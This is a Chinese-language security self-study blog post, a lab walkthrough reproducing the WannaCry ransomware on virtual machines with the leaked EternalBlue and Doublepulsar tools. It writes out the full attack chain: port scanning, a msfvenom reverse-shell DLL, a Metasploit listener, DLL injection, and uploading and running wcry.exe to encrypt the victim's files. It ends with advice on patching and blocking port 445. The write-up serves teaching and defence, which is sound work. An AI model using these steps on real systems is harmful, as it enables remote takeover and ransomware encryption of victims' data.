[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密

这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了Vulnhub靶机渗透的DC-1题目,经过信息收集、CMS漏洞搜索、Drupal漏洞利用、Metasploit反弹shell、提权及数据库爆破获取flag。这篇文章将分享新知识,最近WannaRen勒索软件爆发(下图是安天的分析攻击流程),其名称和功能与WannaCry类似,因此接下来做者将连续分享WannaCry勒索病毒的复现及分析,第一篇文章将采用Github资源实现永恒之蓝漏洞利用及Windows7系统文件加密。但愿这篇基础性文章对您有所帮助。php

在这里插入图片描述

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。python

做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
漏洞利用:https://github.com/eastmountyxz/WannaCry-Experimentlinux


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。git

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)github


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包web



一.WannaCry背景

2017年5月12日,WannaCry蠕虫经过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,形成损失达80亿美圆,已影响金融、能源、医疗、教育等众多行业,形成严重的危害。正则表达式

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,致使电脑大量文件被加密。算法

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具经过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不须要用户进行任何操做,便可经过共享漏洞上传WannaCry勒索病毒等恶意程序。shell

在这里插入图片描述

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并做为攻击机再次扫描互联网和局域网的其余机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每一个文件使用一个随机密钥,理论上不可破解。同时@WanaDecryptor@.exe显示勒索界面。其核心流程以下图所示:

在这里插入图片描述

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,所有加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款帐号和勒索信息


二.实验环境搭建

实验环境:

  • 攻击机1:Kali-linux-2019.2 IP:192.168.44.138
  • 攻击机2:Win-server-2003 IP:192.168.44.131
  • 受害主机:Win7 64位 IP:192.168.44.132

实验工具:

实验步骤:

  • 配置Windows Server 200三、Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行永恒之蓝Python脚本
  • 利用DLL后门文件进行Doublepulsar注入
  • Metaploit获取受害主机的shell
  • 运行wcry.exe母体程序,实现勒索和文件加密

切记、切记、切记:实验复现过程当中必须在虚拟机中完成,运行以前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)


1.安装Win7系统和Win server 2003系统

建立虚拟机并安装Windows7 x64位操做系统。

在这里插入图片描述

安装系统以下:

在这里插入图片描述

Win7设置开启445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能。

在这里插入图片描述

安装Windows Server 2003系统,其IP地址为192.168.44.131。

在这里插入图片描述

保证攻击机一、攻击机2和受害机相互通信,均在同一个局域网中。

  • 攻击机1:Kali-linux-2019.2 IP:192.168.44.138
  • 攻击机2:Win-server-2003 IP:192.168.44.131
  • 受害主机:Win7 64位 IP:192.168.44.132

在这里插入图片描述

在这里插入图片描述



2.Windows Server 2003系统中配置Python环境

第一步,下载实验相关工具。

在这里插入图片描述


在这里插入图片描述


第二步,安装Python2.6,配置环境变量。

在这里插入图片描述

在这里插入图片描述


第三步,傻瓜式安装Python32-221.win32-py2.6。

在这里插入图片描述

在这里插入图片描述


第四步,安装Shadowbroker-master。在Windows文件夹中新建文件夹logs和listeningposts,用记事本打开Windows文件夹中的Fuzzbunch.xml文件,并修改ResourcesDir和LOogDir的路径。

在这里插入图片描述

修改ResourcesDir和LOogDir路径为:C:\test\windows\Resources和logs。

在这里插入图片描述


第五步,运行永恒之蓝工具,若出现如下界面则工具安装成功。

  • python c:\test\windows\fb.py

在这里插入图片描述



三.Kali生成DLL攻击文件

第一步,扫描靶机是否开启445端口。

  • nmap -sS 192.168.44.132

在这里插入图片描述


第二步,使用msfvenom工具生成后门文件abc.dll。

  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.138 LPORT=6666 -f dll > abc.dll
  • -p指定使用模块类型,LSHOT指定本地IP,LPORT指定本地端口,-f指定文件类型

在这里插入图片描述


第三步,上传dll文件到攻击机2(Windows Server 2003)中,这里使用wmvare tools复制或Xshell软件实现。

在这里插入图片描述



四.利用永恒之蓝漏洞获取shell

1.Win Server配置永恒之蓝

第一步,在CMD中运行“永恒之蓝”,设置受害主机IP、攻击机IP、是否重定向,新建项目名称。

  • 默认目标IP地址:Default Targer IP Address,靶机IP
  • 默认回弹IP地址:Default Callback IP Address,攻击机1IP地址
  • 是否使用重定向:Use Rdirection [yes] :no
  • 新建项目:Create a New Project
  • 新建项目命名:New Project Name:test1
  • 其余选项,所有默认,直接enter便可

在这里插入图片描述


第二步,加载永恒之蓝模块,获取受害主机的系统权限。

  • 加载永恒之蓝:use Eternalblue
  • 设置受害主机操做系统:Windows7 x64
  • 模式mode:选择FB(该模式下进行交互性参数输入)
  • 其余大部分为确认信息,参数可设置为默认或自行修改

在这里插入图片描述

设置攻击参数和操做系统等信息。

在这里插入图片描述

当咱们看到WIN和Eternalblue Succeeded信息,表示受害机的权限获取成功。

在这里插入图片描述

在这里插入图片描述



2.Kali反弹shell

接着设置Kali系统,经过Metasploit等待返回的shell,具体步骤以下:

  • 加载msfconsole
  • 使用handle操做,命令为:use exploit/multi/handler
  • 设置Paylod,命令为:set payload windows/x64/meterpreter/reverse_tcp
  • 设置本地IP地址,命令为:set LHOST 192.168.44.138
  • 设置本地端口,命令为:set LPORT 6666
  • 开启监听run

在这里插入图片描述



3.实现Doublepulsar注入

接下来Kali处于监听状态,咱们在Windows Server 2003中进行Doublepulsar注入(双倍脉冲)。具体流程以下:

第一步,输入use Doublepulsar加载双倍脉冲注入。

在这里插入图片描述


第二步,设置相关参数,包括选择SMB协议,后门利用方法为RunDLL。

  • 选择协议:SMB
  • 后门方法:RunDll
  • 设置DLL路径为:C:\abc.dll
  • 默认操做输入Enter键

在这里插入图片描述

注入成功后显示“Doublepulsar succeeded”。

在这里插入图片描述

在这里插入图片描述


第三步,返回kali查看meterpreter,此时成功获取受害机shell。

  • dir
  • getuid

在这里插入图片描述


第四步,在Kali中查看Win7系统盘目录以下图所示。

在这里插入图片描述



五.上传勒索病毒并实现攻击

第一步,在Kali中上传勒索病毒程序wcry.exe至受害主机。

  • upload /root/wcry.exe c:\

在这里插入图片描述

在这里插入图片描述

上传以后以下图所示:

在这里插入图片描述

在这里插入图片描述


注意,若是程序运行时间长,可能须要从新执行相关命令,咱们再从新回顾下这些核心命令。

Kali

在这里插入图片描述

Win Server

在这里插入图片描述


第二步,获取受害主机shell,若是出现中文乱码输入“chcp 65001”设置编码。接着咱们运行Win7上面的病毒程序wcry.exe。

  • shell
  • chcp 65001
  • dir
  • wcry.exe

在这里插入图片描述

运行前的受害主机界面以下图所示:

在这里插入图片描述

运行病毒程序后的界面以下图所示,已经成功被勒索。再次强调,全部代码必须在虚拟机中执行,而且关闭文件共享。

在这里插入图片描述

加密系统中的文件,被加密的文件后缀名统一修改成“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述

在这里插入图片描述



六.防护措施

勒索软件防护常见的措施以下:

  • 开启系统防火墙
  • 关闭44五、139等端口链接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防护进行拦截查杀
  • 如非服务须要,建议把高危漏洞的端口都关闭,好比13八、13九、44五、3389等

因为WannaCry勒索病毒主要经过445端口入侵计算机,关闭的方法以下:

  • 控制面板–>windows防火墙—>高级选项–>入站规则
  • 新建规则–>选择端口–>指定端口号445
  • 选择阻止链接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行,也须要关闭共享文件夹功能,以下图所示。

在这里插入图片描述



七.总结

写到这里,这篇WannaCry勒索病毒复现和分析的文章就介绍结束了,但愿对您有所帮助。同时,您可能感受到了调用别人的Python资源方法比较繁琐,咱们是否能直接调用MS17-010,再上传勒索病毒实现攻击呢?而且做者后续会深刻地逆向分析该勒索病毒的原理及调用关系,也推荐你们阅读参考文献大佬们的文章。继续加油~

在这里插入图片描述

这篇文章中若是存在一些不足,还请海涵。做者做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。同时很是感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知本身很菜,得努力前行。

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

(By:Eastmount 2020-04-07 晚上10点写于贵阳 http://blog.csdn.net/eastmount/ )



参考文献:
[1] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781
[2] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户
[3] 对WannaCry的深度分析 - 鬼手56
[4] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
[5] WannaCry蠕虫详细分析 - FreeBuf腾讯
[6] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
[7] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台
[8] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师
[9] wannacry,petaya,meze等病毒样本 - CSDN下载
[10] 针对WannaRen勒索软件的梳理与分析 - 安天